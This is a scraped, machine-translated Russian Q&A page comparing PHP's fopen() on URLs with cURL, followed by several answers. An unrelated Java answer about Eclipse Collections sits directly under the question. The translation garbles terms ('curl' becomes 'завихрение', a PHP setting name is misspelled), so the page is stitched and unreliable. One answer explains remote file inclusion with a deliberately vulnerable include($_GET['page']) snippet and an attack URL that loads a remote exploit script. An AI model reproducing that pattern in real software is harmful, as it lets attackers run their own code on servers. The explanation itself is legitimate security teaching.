Каковы важные различия между использованием fopen ($url) и завихрением в PHP?

Вы можете использовать groupByEach из Eclipse Collections .

Multimap itemsByCategory =
        ListIterate.groupByEach(myItemList, Item::getBelongsToCategories);

System.out.println(itemsByCategory);

Вывод:

{D=[Item{id=4}, Item{id=5}], 
E=[Item{id=5}], 
F=[Item{id=6}], 
A=[Item{id=1}, Item{id=2}, Item{id=6}], 
B=[Item{id=1}, Item{id=3}], 
C=[Item{id=2}, Item{id=3}]}

Вы также можете использовать служебный класс Collectors2 и groupByEach Collector с Java Stream.

Multimap itemsByCategory = myItemList.stream().collect(
        Collectors2.groupByEach(
                Item::getBelongsToCategories,
                Multimaps.mutable.list::empty));

Примечание: я являюсь коммиттером для Eclipse Collections.

5
задан Sean McSomething 11 March 2009 в 22:51
поделиться

3 ответа

fopen() только откроет удаленные URL если allow_fopen_url во включают php.ini.

Однако в версиях до 5.2.0, это было чрезвычайно опасно потому что include функция также загрузила бы и проанализировала бы код PHP от удаленных сайтов. Наивный кодер мог легко ловиться с кодом как:

<?php
    $page = $_GET['page'];
    include($page);
?>

в которой точке взломщик просто должен попросить http://example.com/script.php?page=http://example.net/my_exploit_script выполнять их собственный код в системе и представлять использование. К сожалению, значение по умолчанию для allow_fopen_url 'включено'.

К счастью, с тех пор 5.2.0 существует отдельная установка (который должен принять значение по умолчанию к 'прочь'), названный allow_url_include который предотвращает include от загрузки удаленного кода.

Лично, если у Вас есть опция использовать Завихрение, используйте это, а не fopen.

14
ответ дан 18 December 2019 в 05:31
поделиться

Как Alnitak упомянутое, использующее ЗАВИХРЕНИЕ не зависит от настроек PHP. Я сделал некоторые тесты скорости

file_get_contents

с моим

function file_get_contents_curl($url) {
    $ch = curl_init();

    curl_setopt($ch, CURLOPT_HEADER, 0);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_URL, $url);

    $data = curl_exec($ch);
    curl_close($ch);

    return $data;
}

Результат:

0.263456821442
0.0626730918884

ЗАВИХРЕНИЕ в 4 раза быстрее :)

15
ответ дан 18 December 2019 в 05:31
поделиться

примечание стороны: PHP может быть настроен для использования завихрения для http url_wrapper вместо того, чтобы использовать "его собственную" реализацию.

ext/curl/interface.c:

#ifdef PHP_CURL_URL_WRAPPERS
# if HAVE_CURL_VERSION_INFO
    {
        curl_version_info_data *info = curl_version_info(CURLVERSION_NOW);
        char **p = (char **)info->protocols;

        while (*p != NULL) {
            php_register_url_stream_wrapper(*p++, &php_curl_wrapper TSRMLS_CC);
        }
    }
# else
    php_register_url_stream_wrapper("http", &php_curl_wrapper TSRMLS_CC);
    php_register_url_stream_wrapper("https", &php_curl_wrapper TSRMLS_CC);
    php_register_url_stream_wrapper("ftp", &php_curl_wrapper TSRMLS_CC);
    php_register_url_stream_wrapper("ldap", &php_curl_wrapper TSRMLS_CC);
# endif
#endif
5
ответ дан 18 December 2019 в 05:31
поделиться
Другие вопросы по тегам:

Похожие вопросы: